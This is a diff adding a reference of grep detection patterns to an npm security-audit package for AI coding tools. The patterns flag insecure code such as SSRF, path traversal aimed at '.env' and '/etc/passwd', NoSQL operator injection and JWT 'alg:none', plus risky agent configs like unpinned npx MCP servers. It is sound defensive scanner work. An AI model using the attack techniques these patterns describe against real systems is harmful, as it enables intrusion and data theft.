+**Fix:** Remove the override. For internal CAs, set `NODE_EXTRA_CA_CERTS` or pass the cert to `SecurityContext`.
+
+### Hardcoded Secret
+**Grep signature:** `const API_KEY = "..."`, `let SECRET_KEY = "..."` (≥20 chars)
+**Note:** `skipInTests: true` — matches in test files are marked `likelyFalsePositive`.
+**Why it matters:** Secret is committed to git history and visible to anyone with repo access.
+**Fix:** Move to environment variables. Run `gitleaks` to check if already committed.
+
+### SSRF (Server-Side Request Forgery)
+**Grep signature:** `fetch(req.query.url)`, `axios.get(req.body.url)`, `got(req.params.url)`
+**Why it matters:** Attacker can probe internal services (AWS metadata, Redis, internal APIs) via your server.
+**Fix:** Validate URL against an explicit hostname allowlist. Block private IP ranges.
+
+### Insecure Deserialization
+**Grep signature:** `.unserialize(req.)`, `__proto__ =`, `Object.setPrototypeOf(x, req.`
+**Why it matters:** Attacker can achieve RCE or privilege escalation by crafting a malicious serialized payload.
+**Fix:** Never deserialize user-supplied data. Use JSON with a schema validator instead.
+
+### JWT Alg None
+**Grep signature:** `algorithm: 'none'`
+**Why it matters:** The `alg:none` attack strips the JWT signature entirely, allowing anyone to forge tokens.
+**Fix:** Use `jsonwebtoken` with an explicit `algorithms` allowlist — never include `'none'`.
+
+---
+
+## HIGH
+
+### IDOR (Insecure Direct Object Reference)
+**Grep signature:** `findById(req.params|body|query.`, `findOne({id: req.params|body|query`
+**Why it matters:** Any logged-in user can access another user's private data by guessing or iterating IDs.
+**Fix:** Scope all DB queries to `req.user.id`. Never trust a client-supplied resource ID.
+
+### XSS (Cross-Site Scripting)
+**Grep signature:** `innerHTML =`, `dangerouslySetInnerHTML={{`, `document.write(`, `res.send(\`...\${req.`
+**Why it matters:** Attacker can inject scripts that run in other users' browsers, stealing sessions or redirecting them.
+**Fix:** Escape on output (`escape-html`), sanitize rich HTML (`DOMPurify`), or use a framework that auto-escapes.
+
+### Path Traversal
+**Grep signature:** `readFile/sendFile/createReadStream(req.`, `path.join(req.params|body|query`
+**Why it matters:** Attacker can read files outside the uploads directory (`.env`, `/etc/passwd`).
+**Fix:** `path.resolve()` the final path and assert it starts with the allowed base directory.
+
+### Broken Auth
+**Grep signature:** `jwt.decode(` (without `.verify`), `verify: false`, `secret = "short_string"`
+**Why it matters:** Anyone can forge a valid-looking token and impersonate any user.
+**Fix:** Always use `jwt.verify()` with an explicit secret from environment variables.
+
+### Sensitive Storage
+**Grep signature:** `localStorage.setItem('token'`, `AsyncStorage.setItem('token'`
+**Why it matters:** Tokens stored in unencrypted storage are readable on rooted/jailbroken devices and via XSS.
+**Fix:** Use `expo-secure-store` (React Native/Expo) or `flutter_secure_storage` (Flutter).
+
+### eval() Injection
+**Grep signature:** `eval(route.params`, `eval(searchParams.get`, `eval(req.query|body`
+**Why it matters:** Attacker can execute arbitrary JavaScript in the application context.
+**Fix:** Never use `eval()` with user input. Use `JSON.parse()` for data deserialization.
+
+### Insecure Random
+**Grep signature:** `token = Math.random()`, `sessionId = Math.random()`
+**Why it matters:** `Math.random()` is not cryptographically secure — tokens can be predicted.
+**Fix:** Use `crypto.randomBytes()` (Node.js) or `secrets.token_hex()` (Python).
+
+### Secret Fallback
+**Grep signature:** `process.env.SECRET || "hardcoded_value"`
+**Why it matters:** The hardcoded fallback is committed to source control and used whenever the env var is missing.
+**Fix:** Fail fast if the env var is absent — never fall back to a default secret.
+
+### Open Redirect
+**Grep signature:** `res.redirect(req.query|body|params.`, `window.location = params.`
+**Why it matters:** Attacker can redirect users to phishing sites after a legitimate login flow.
+**Fix:** Allow only relative paths. Reject `http://` / `https://` and `//` prefix destinations.
+
+### NoSQL Injection
+**Grep signature:** `.find(req.body|query)`, `.findOne(req.body|query)`, `$where:`
+**Why it matters:** Attacker can bypass authentication by injecting MongoDB operators (`{ $gt: '' }`).
+**Fix:** Cast query values to strings. Use `express-mongo-sanitize` to strip `$` operators.
+
+### Template Injection
+**Grep signature:** `res.render(req.params|query`, `ejs.render(req.body`, `pug.render(req.body`
+**Why it matters:** Attacker can execute server-side template code, potentially achieving RCE.
+**Fix:** Never pass user input as the template name or raw template string.
+
+### Mass Assignment
+**Grep signature:** `new Model(req.body)`, `.create(req.body)`, `.update({}, req.body)`
+**Why it matters:** Attacker can set privileged fields (`isAdmin`, `role`) by adding them to a POST body.
+**Fix:** Destructure and allowlist only the fields users are permitted to set.
+
+### Prototype Pollution
+**Grep signature:** `_.merge(req.body|query)`, `deepmerge(req.body|query)`, `Object.assign({}, req.body)`
+**Why it matters:** Attacker can inject properties into `Object.prototype`, affecting all objects in the process.
+**Fix:** Sanitize `__proto__` / `constructor` / `prototype` keys before any recursive merge.
+
+### Weak Crypto
+**Grep signature:** `createHash('md5')`, `createHash('sha1')`, `md5(password)`, `sha1(password)`
+**Why it matters:** MD5 and SHA1 hashes are trivially crackable with rainbow tables.
+**Fix:** Use `bcrypt` (cost factor ≥12) or `argon2` for passwords.
+
+### XXE (XML External Entity)
+**Grep signature:** `noent: true`, `expand_entities = True`, `resolve_entities = True`
+**Why it matters:** Attacker can read local files or perform SSRF via XML entity expansion.
+**Fix:** Disable entity expansion in your XML parser. Never enable it for user-supplied XML.
+
+### WebView JS Bridge
+**Grep signature:** `addJavascriptInterface(`, `javaScriptEnabled: true`, `allowFileAccess: true`, `allowUniversalAccessFromFileURLs: true`
+**Why it matters:** Exposed JavaScript bridge or relaxed WebView settings allow XSS-to-native escalation.
+**Fix:** Disable unnecessary WebView capabilities. Never expose a JS bridge to untrusted content.
+
+### Timing-Unsafe Comparison
+**Grep signature:** `token === `, `password ===`, `secret ==` (equality comparison of secrets)
+**Why it matters:** Timing side-channel allows attackers to brute-force tokens bit by bit.
+**Fix:** Use `crypto.timingSafeEqual()` (Node.js) or `hmac.compare_digest()` (Python) for all secret comparisons.
+
+### ReDoS
+**Grep signature:** `new RegExp(req.query|body|params.`
+**Why it matters:** Attacker can craft input that causes catastrophic regex backtracking, DoSing the process.
+**Fix:** Never construct regex from user input. If required, use a regex complexity validator.
+
+---
+
+## MEDIUM
+
+### Sensitive Log
+**Grep signature:** `console.log(token|password|secret|jwt|authorization|apiKey`
+**Note:** `skipInTests: true`
+**Why it matters:** Secrets end up in log aggregation systems, monitoring dashboards, and CI output.
+**Fix:** Remove or redact sensitive fields before logging.
+
+### CORS Wildcard
+**Grep signature:** `cors({ origin: '*' })`, `Access-Control-Allow-Origin: *`
+**Why it matters:** Any origin can make credentialed requests to your API.
+**Fix:** Specify an explicit origin allowlist in your CORS configuration.
+
+### Cleartext Traffic
+**Grep signature:** `baseURL = 'http://...'` (non-localhost)
+**Note:** `skipInTests: true`
+**Why it matters:** API traffic is sent unencrypted and visible to network observers.
+**Fix:** Use `https://` for all non-localhost API base URLs.
+
+### Deep Link Injection
+**Grep signature:** `Linking.getInitialURL()`, `Linking.addEventListener('url'`
+**Why it matters:** Attacker can inject malicious data via crafted deep links if parameters are not validated.
+**Fix:** Validate and sanitize all values extracted from deep link URLs before use.
+
+---
+
+## Prompt / Skill / Agent Patterns
+
+These patterns are checked against `.md` files in `prompts/`, `skills/`, `.claude/`, `workflows/`, `CLAUDE.md`, `SKILL.md`, `.cursorrules`, and `.clinerules`.
+
+### Deprecated CSRF Package (CRITICAL)
+**Grep signature:** `\bcsurf\b` (not in a comment line)
+**Why it matters:** `csurf` was deprecated in March 2023 and is unmaintained. Projects that follow instructions referencing it will install a package with unpatched vulnerabilities.
+**Fix:** Replace with `csrf-csrf` (`doubleCsrf` pattern).
+
+### Unpinned npx MCP Server (HIGH)
+**Grep signature:** `"command": "npx"` in MCP server config
+**Why it matters:** `npx` resolves the latest version at runtime. A compromised package version executes arbitrary code in the agent's context.
+**Fix:** Pin MCP servers to exact versions or install locally. Use `node /path/to/server.js` instead of `npx`.
+
+### Cleartext URL in Prompt (MEDIUM)
+**Grep signature:** `http://` (non-localhost) in prompt/skill markdown
+**Why it matters:** Cleartext URLs in agent instructions can mislead the agent into making insecure HTTP requests.
+**Fix:** Replace with `https://` URLs.
+
+---
+
+## Config / Manifest Patterns
+
+### Config Secret (CRITICAL)
+**Files checked:** `app.json`, `app.config.js`, `app.config.ts`
+**Grep signature:** `apiKey: "..."`, `secret: "..."`, `accessToken: "..."` (≥20 chars)
+**Why it matters:** Expo/React Native config files are bundled into the app binary and shipped to users.
+**Fix:** Use `expo-constants` with environment variables at build time. Never embed secrets in config files.
+
+### Android Debuggable (HIGH)
+**Files checked:** `android/app/src/main/AndroidManifest.xml`
+**Grep signature:** `android:debuggable="true"`
+**Why it matters:** Debug builds expose the app to `adb` inspection and arbitrary code injection on the device.
+**Fix:** Remove `android:debuggable` from `AndroidManifest.xml` (the build system sets it correctly per variant).

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@lhi/tdd-audit",
-  "version": "1.8.1",
+  "version": "1.8.2",
   "description": "Security skill installer for Claude Code, Gemini CLI, Cursor, Codex, and OpenCode. Patches vulnerabilities using a Red-Green-Refactor exploit-test protocol.",
   "main": "index.js",
   "bin": {
@@ -14,7 +14,8 @@
     "templates/",
     "workflows/",
     "README.md",
-    "LICENSE"
+    "LICENSE",
+    "docs/"
   ],
   "scripts": {
     "test": "jest --forceExit",